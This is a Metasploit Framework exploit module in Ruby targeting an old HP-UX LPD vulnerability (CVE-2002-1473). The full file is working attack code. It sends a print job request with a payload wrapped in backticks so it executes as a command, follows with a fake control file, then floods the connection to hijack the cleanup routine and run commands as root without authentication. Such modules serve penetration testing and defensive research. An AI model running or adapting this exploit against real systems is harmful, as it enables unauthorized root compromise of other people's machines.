Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = ExcellentRanking

        include Msf::Exploit::Remote::Tcp

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'HP-UX LPD Command Execution',

                        'Description'    => %q{

                                        This exploit abuses an unpublished vulnerability in the

                                HP-UX LPD service. This flaw allows an unauthenticated

                                attacker to execute arbitrary commands with the privileges

                                of the root user. The LPD service is only exploitable when

                                the address of the attacking system can be resolved by the

                                target. This vulnerability was silently patched with the

                                buffer overflow flaws addressed in HP Security Bulletin

                                HPSBUX0208-213.

                        },

                        'Author'         => [ 'hdm' ],

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2002-1473'],

                                        [ 'OSVDB', '9638'],

                                        [ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],

                                ],

                        'Platform'       => [ 'unix', 'hpux' ],

                        'Arch'           => ARCH_CMD,

                        'Payload'        =>

                                {

                                        'Space'       => 200,

                                        'DisableNops' => true,

                                        'BadChars'    => "\x00\x09\x20\x2f",

                                        'Compat'      =>

                                                {

                                                        'PayloadType' => 'cmd',

                                                        'RequiredCmd' => 'generic perl telnet',

                                                }

                                },

                        'Targets'        =>

                                [

                                        [ 'Automatic Target', { }]

                                ],

                        'DefaultTarget'  => 0,

                        'DisclosureDate' => 'Aug 28 2002'

                ))

                register_options(

                        [

                                Opt::RPORT(515)

                        ], self.class)

        end

        def exploit

                # The job ID is squashed down to three decimal digits

                jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]

                # Connect to the LPD service

                connect

                print_status("Sending our job request with embedded command string...")

                # Send the job request with the encoded command

                sock.put(

                        "\x02" + rand_text_alphanumeric(3) + jid +

                        "`" + payload.encoded + "`\n"

                )

                res = sock.get_once(1)

                if !(res and res[0,1] == "\x00")

                        print_status("The target did not accept our job request")

                        return

                end

                print_status("Sending our fake control file...")

                sock.put("\x02 32 cfA" + rand_text_alphanumeric(8) + "\n")

                res = sock.get_once(1)

                if !(res and res[0,1] == "\x00")

                        print_status("The target did not accept our control file")

                        return

                end

                print_status("Forcing an error and hijacking the cleanup routine...")

                begin

                        sock.put(rand_text_alphanumeric(16384))

                        disconnect

                rescue

                end

        end

end